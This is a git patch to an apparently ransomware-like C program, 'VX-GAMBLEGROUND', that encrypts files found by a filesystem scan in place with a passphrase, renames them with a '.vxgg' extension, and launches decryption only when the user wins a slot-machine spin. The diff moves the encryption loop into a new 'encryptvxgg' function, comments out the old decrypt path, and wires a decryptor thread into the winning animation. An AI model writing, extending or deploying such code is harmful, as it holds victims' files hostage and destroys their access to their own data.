From 248f88a02aea778c989f9673dffe5ddf7b7f3ee3 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Mon, 2 Sep 2024 22:26:32 -0500 Subject: Make the encrypt function less shitty --- src/VX-GAMBLEGROUND.c | 129 ++++++++++++++++++-------------------------------- src/encryption.c | 70 +++++++++++++++++++++++++++ src/encryption.h | 3 ++ src/screen.c | 8 ++++ src/screen.h | 3 ++ 5 files changed, 131 insertions(+), 82 deletions(-) (limited to 'src') diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 1e508a2..d7e1842 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -158,87 +158,52 @@ int doslots_twrapper(void *passed) { int scanundencrypt(void *passed) { struct sande *p = (struct sande *)passed; - int err = REG_NOERROR; - regex_t encext; - if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { - endwin(); - error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); - } - p->scanned = scanfiles(p->STARTPATH, p->cmp); - if(p->scanned == NULL) - error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); - - int fd = -1; - for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { - // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash - if(p2->fullpath == NULL) - continue; - - if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) - continue; - - - char *newname = NULL; - if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { - endwin(); - error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); - } - rename(p2->fullpath, newname); - + encryptvxgg(p->scanned, p->passphrase); - fd = open(newname, O_RDWR); - free(newname); - if(fd < 0) - continue; - - passencblock(fd, p->passphrase); - close(fd); - } - - // I don't have to do this, but I might as well - nodelist_delete(p->scanned); return 0; } -int decrypt(void *args) { - struct sande *pass = (struct sande *)args; - pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); - if(pass->scanned == NULL) - error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); +// int decrypt(void *args) { +// struct sande *pass = (struct sande *)args; +// pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); +// if(pass->scanned == NULL) +// error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); - int err = REG_NOERROR; - regex_t encext; - if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) - error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); - - int fd = -1; - for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { - if(p->fullpath == NULL) - continue; - - if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) - continue; - - fd = open(p->fullpath, O_RDWR); - if(fd < 0) - continue; - passencblock(fd, pass->passphrase); - close(fd); +// int err = REG_NOERROR; +// regex_t encext; +// if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) +// error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); + +// int fd = -1; +// for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { +// if(p->fullpath == NULL) +// continue; + +// if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) +// continue; + +// fd = open(p->fullpath, O_RDWR); +// if(fd < 0) +// continue; +// passencblock(fd, pass->passphrase); +// close(fd); - // Once again my problems are solved by allocating shit instead of using static shit - char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); - strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); - rename(p->fullpath, newname); - free(newname); - } +// // Once again my problems are solved by allocating shit instead of using static shit +// char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); +// strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); +// rename(p->fullpath, newname); +// free(newname); +// } + +// endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized +// error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); +// exit(0); + +// return 0; +// } - endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized - error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); - exit(0); - return 0; -} int main(int argc, char *argv[]) { struct arguments args = { @@ -261,16 +226,16 @@ int main(int argc, char *argv[]) { // Deal with decrypting flag - if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { - struct sande pass = { - .cmp = alphasort, - .passphrase = passphrase, - .scanned = NULL, - .STARTPATH = FILESCAN_START - }; - decrypt((void*)&pass); - return 0; - } + // if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { + // struct sande pass = { + // .cmp = alphasort, + // .passphrase = passphrase, + // .scanned = NULL, + // .STARTPATH = FILESCAN_START + // }; + // decrypt((void*)&pass); + // return 0; + // } struct bullshit stuff; struct nodelist *files = NULL; diff --git a/src/encryption.c b/src/encryption.c index 268b802..8f52e49 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -4,8 +4,13 @@ * Makes files unreadable, kinda. */ +#define _GNU_SOURCE +#define TESTING + +#include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem #include "encryption.h" + #include #include #include @@ -17,6 +22,8 @@ #include #include +#include +#include // Encrypt a file (OVERWRITES FILE!) using a passphrase size_t passenc(int fd, const char *passphrase) { @@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) { return totalwritten; } +int rename_format(const char *fullpath, const char *format, ...) { + va_list ap; + va_start(ap, format); + + char *newname = NULL; int err = 0; + if((err = vasprintf(&newname, format, ap)) < 0) { + error(0, 0, " Could not create string for new file"); + return err; + } + + if((err = rename(fullpath, newname)) < 0) { + error(0, errno, " Could not rename file \"%s\" to \"%s\"", fullpath, newname); + return err; + } + + free(newname); + va_end(ap); + + return err; +} + + + +int encryptvxgg(const struct nodelist *list, const char *passphrase) { + int fd = -1; + + regex_t encext; + regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE); + + // Encrypt everything + for(const struct nodelist *p = list; p != NULL; p = p->next) { + if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element + continue; + if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files + continue; + + fd = open(p->fullpath, O_RDWR); + if(fd < 0) { + #ifdef TESTING + error(0, errno, " Could not open \"%s\" for encryption", p->fullpath); + #endif + continue; + } + + passencblock(fd, passphrase); + close(fd); + #ifndef TESTING + rename_format(p->fullpath, "%s.vxgg", p->fullpath); + #else + rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase); + #endif + + } + + return 0; +} + +// int decryptvxgg(const struct nodelist *list, const char *passphrase) { + + +// return 0; +// } + /* int main() { int fd = open("test.txt", O_RDWR); diff --git a/src/encryption.h b/src/encryption.h index aa88048..15800f4 100644 --- a/src/encryption.h +++ b/src/encryption.h @@ -9,4 +9,7 @@ size_t passenc(int fd, const char *passphrase); /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ size_t passencblock(int fd, const char *passphrase); +// Encrypt a nodelist +int encryptvxgg(const struct nodelist *list, const char *passphrase); + #endif \ No newline at end of file diff --git a/src/screen.c b/src/screen.c index d5b7f2b..4667895 100644 --- a/src/screen.c +++ b/src/screen.c @@ -26,6 +26,9 @@ #include #include #include +#include + +#define TESTING //////////////////////////////////// SPECIFICALLY USEFUL FUNCS //////////////////////////////////// @@ -326,6 +329,9 @@ int spin(void *params) { } if(winning == 3) { // Do winning anim + thrd_t decryptor; + thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args); + mvaddch(0, 0, 'J'); for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { bkgd(COLOR_PAIR(color)); @@ -334,6 +340,8 @@ int spin(void *params) { refresh(); nanosleep(&sleeper, NULL); } + + thrd_join(decryptor, NULL); } // Revert colors back to normal diff --git a/src/screen.h b/src/screen.h index 0e5137a..43793b5 100644 --- a/src/screen.h +++ b/src/screen.h @@ -186,6 +186,9 @@ struct params { WINDOW *menuholder; MENU *menu; + + int (*decrypt_callback)(void*); + void *decrypt_args; // Previously buyp unsigned int price; -- cgit v1.2.3